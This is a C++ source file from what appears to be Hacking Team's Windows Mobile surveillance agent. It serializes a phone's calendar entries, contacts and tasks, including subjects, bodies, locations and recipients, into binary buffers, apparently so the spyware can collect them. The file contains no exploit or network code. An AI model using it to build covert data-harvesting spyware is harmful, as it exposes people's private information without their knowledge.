hackedteam/core-winmobile

View on GitHub
Mornella/Mornella_Mobile/PoomSerializer.cpp

Summary

Maintainability
Test Coverage
#include <pimstore.h>

#include "PoomSerializer.h"
#include "PoomCommon.h"

#include "PoomContact.h"
#include "PoomCalendar.h"
#include "PoomTask.h"

#include "Common.h"

LPBYTE CPoomSerializer::Serialize(CPoomCalendar *calendar, LPDWORD lpdwOutLength) {
    DWORD dwDynLen = 0;
    LPBYTE pPtr = NULL;
    LPBYTE lpOutBuf = NULL;
    LONG lTmp = 0;

    if (lpdwOutLength == NULL) {
        DBG_TRACE(L"PoomSerializer.cpp - Serialize lpdwOutLength == NULL ", 5, FALSE);
        return lpOutBuf;    
    }

    // Calculate buffer total length
    *lpdwOutLength = 0;

    // Header length
    HeaderStruct* header = NULL;
    header = calendar->Header();
    header->dwVersion = POOM_V1_0_PROTO;
    *lpdwOutLength = sizeof(HeaderStruct);
    
    // FLAGS + StartDate + EndDate + 5 Long
    *lpdwOutLength += sizeof(DWORD) + 2*sizeof(FILETIME) + 4*sizeof(LONG);

    // Strings length
    *lpdwOutLength += _SerializedStringLength(calendar->Subject());
    *lpdwOutLength += _SerializedStringLength(calendar->Categories());
    *lpdwOutLength += _SerializedStringLength(calendar->Body());
    *lpdwOutLength += _SerializedStringLength(calendar->Location());
    *lpdwOutLength += _SerializedStringLength(calendar->Recipients());
    
    // Recurrence struct (if necessary)
    if ((calendar->Flags() & FLAG_RECUR) && calendar->GetRecurStruct() != NULL)
        *lpdwOutLength += sizeof(RecurStruct);

    header->dwSize = *lpdwOutLength;

    // Fill buffer
    lpOutBuf = new(std::nothrow) BYTE[*lpdwOutLength];

    if (lpOutBuf == NULL)
        return NULL;

    pPtr = lpOutBuf;

    // Header
    CopyMemory( pPtr, header, sizeof(HeaderStruct));
    pPtr += sizeof(HeaderStruct);

    // Flags
    lTmp = calendar->Flags();
    CopyMemory(pPtr, &lTmp, sizeof(DWORD));
    pPtr += sizeof(DWORD);

    // StartDate + EndDate
    CopyMemory(pPtr, &calendar->StartDate(), sizeof(FILETIME));
    pPtr += sizeof(FILETIME);

    CopyMemory(pPtr, &calendar->EndDate(), sizeof(FILETIME));
    pPtr += sizeof(FILETIME);

    // 5xLong
    SETLONG(calendar->Sensitivity);
    SETLONG(calendar->BusyStatus);
    SETLONG(calendar->Duration);
    SETLONG(calendar->MeetingStatus);
    
    // Recurrence (if encessary) 
    if ((calendar->Flags() & FLAG_RECUR) && calendar->GetRecurStruct()) {
        memcpy_s(pPtr, sizeof(RecurStruct), calendar->GetRecurStruct(), sizeof(RecurStruct));
        pPtr += sizeof(RecurStruct);
    }
    
    // Strings
    if (calendar->Subject()) {
        DWORD dwSerializedStringSize = _SerializeString(pPtr, calendar->Subject(), POOM_STRING_SUBJECT);
        pPtr += dwSerializedStringSize;
    }

    if (calendar->Categories()) {
        DWORD dwSerializedStringSize = _SerializeString(pPtr, calendar->Categories(), POOM_STRING_CATEGORIES);
        pPtr += dwSerializedStringSize;
    }

    if (calendar->Body()) {
        DWORD dwSerializedStringSize = _SerializeString(pPtr, calendar->Body(), POOM_STRING_BODY);
        pPtr += dwSerializedStringSize;
    }

    if (calendar->Recipients()) {
        DWORD dwSerializedStringSize = _SerializeString(pPtr, calendar->Recipients(), POOM_STRING_RECIPIENTS);
        pPtr += dwSerializedStringSize;
    }

    if (calendar->Location()) {
        DWORD dwSerializedStringSize = _SerializeString(pPtr, calendar->Location(), POOM_STRING_LOCATION);
        pPtr += dwSerializedStringSize;
    }

    return lpOutBuf;
}

LPBYTE CPoomSerializer::Serialize(CPoomContact *contact, LPDWORD lpdwOutLength) {
    
    DWORD dwDynLen = 0;
    LPBYTE pPtr = NULL, lpOutBuf = NULL;
    ContactMapType* pMap = NULL;
    HeaderStruct* header = NULL;

    pMap = contact->Map();
    
    header = contact->Header();
    header->dwVersion = POOM_V1_0_PROTO;
    *lpdwOutLength = sizeof(HeaderStruct);

    // Obtain dynamic entries length after serialization
    for (ContactMapType::iterator it = pMap->begin(); it != pMap->end(); it++)
        *lpdwOutLength += _SerializedStringLength(it->second);
    
    header->dwSize = *lpdwOutLength;

    lpOutBuf = new(std::nothrow) BYTE[*lpdwOutLength];

    if (lpOutBuf == NULL)
        return NULL;

    pPtr = lpOutBuf;

    // Copy header
    CopyMemory( pPtr, header, sizeof(HeaderStruct));
    pPtr += sizeof(HeaderStruct);

    // Serialize and copy strings
    for (ContactMapType::iterator it =  pMap->begin(); it != pMap->end(); it++){
        DWORD dwSerializedStringSize = _SerializeString(pPtr, it->second, (it->first) << 0x18);
        pPtr += dwSerializedStringSize;
    }

    return lpOutBuf;
}

LPBYTE CPoomSerializer::Serialize(CPoomTask *task, LPDWORD lpdwOutLength) {
    DWORD dwDynLen = 0;
    LPBYTE pPtr = NULL;
    LPBYTE lpOutBuf = NULL;
    LONG lTmp = 0;

    // Calculate buffer total length
    *lpdwOutLength = 0;

    // Header length
    HeaderStruct* header = NULL;
    header = task->Header();
    header->dwVersion = POOM_V1_0_PROTO;
    *lpdwOutLength = sizeof(HeaderStruct);

    // FLAGS + 3 Date +  + 2 Long
    *lpdwOutLength += sizeof(DWORD) + 3 * sizeof(FILETIME) + 2 * sizeof(LONG);

    // Strings length
    *lpdwOutLength += _SerializedStringLength(task->Subject());
    *lpdwOutLength += _SerializedStringLength(task->Categories());
    *lpdwOutLength += _SerializedStringLength(task->Body());
    
    // Recurrence struct (if necessary)
    if ((task->Flags() & FLAG_RECUR))
        *lpdwOutLength += sizeof(RecurStruct);

    header->dwSize = *lpdwOutLength;

    // Fill buffer
    lpOutBuf = new(std::nothrow) BYTE[*lpdwOutLength];

    if (lpOutBuf == NULL)
        return NULL;

    pPtr = lpOutBuf;

    // Header
    CopyMemory( pPtr, header, sizeof(HeaderStruct));
    pPtr += sizeof(HeaderStruct);

    // Flags
    lTmp = task->Flags();
    CopyMemory(pPtr, &lTmp, sizeof(DWORD));
    pPtr += sizeof(DWORD);
    
    // DATE
    CopyMemory(pPtr, &task->DueDate(), sizeof(FILETIME));
    pPtr += sizeof(FILETIME);

    CopyMemory(pPtr, &task->StartDate(), sizeof(FILETIME));
    pPtr += sizeof(FILETIME);

    CopyMemory(pPtr, &task->DateCompleted(), sizeof(FILETIME));
    pPtr += sizeof(FILETIME);

    SETLONG(task->Sensitivity);
    SETLONG(task->Importance);

    // Recurrence (if necessary) 
    if ((task->Flags() & FLAG_RECUR)) {
        CopyMemory(pPtr, task->GetRecurStruct(), sizeof(RecurStruct));
        pPtr += sizeof(RecurStruct);
    }

    // Strings
    if (task->Subject()) {
        DWORD dwSerializedStringSize = _SerializeString(pPtr, task->Subject(), POOM_STRING_SUBJECT);
        pPtr += dwSerializedStringSize;
    }

    if (task->Categories()) {
        DWORD dwSerializedStringSize = _SerializeString(pPtr, task->Categories(), POOM_STRING_CATEGORIES);
        pPtr += dwSerializedStringSize;
    }

    if (task->Body()) {
        DWORD dwSerializedStringSize = _SerializeString(pPtr, task->Body(), POOM_STRING_BODY);
        pPtr += dwSerializedStringSize;
    }

    return lpOutBuf;
}

DWORD CPoomSerializer::_SerializedStringLength(LPWSTR lpString)
{
    DWORD dwStringLength = 0;

    if (lpString == NULL || wcslen(lpString) == 0)
        return 0;
    
    dwStringLength = sizeof(DWORD);
    dwStringLength += wcslen(lpString)*sizeof(WCHAR);
    
    return dwStringLength;
}

DWORD CPoomSerializer::_SerializeString(LPBYTE lpDest, LPTSTR lpString, int entryType)
{
    DWORD dwStringLength = 0;

    // if string is invalid, ignore and return 0 as length
    if (lpString == NULL)
        return 0;

    // if string length == 0, ignore and return 0 as length
    dwStringLength = wcslen(lpString) * sizeof(WCHAR); 

    if (dwStringLength == 0)
        return 0;

    // copy prefix and string *** WITHOUT NULL TERMINATOR ***
    DWORD prefix = _Prefix(dwStringLength, entryType);
    CopyMemory(lpDest, &prefix, sizeof(prefix));
    CopyMemory((lpDest + sizeof(prefix)), lpString, dwStringLength);

    return sizeof(prefix) + dwStringLength;
}

DWORD CPoomSerializer::_Prefix(DWORD dwLength, int entryType)
{
    DWORD prefix = dwLength;
    prefix &= POOM_TYPE_MASK;    // clear type bits
    prefix |= (DWORD)entryType; 

    return prefix;
}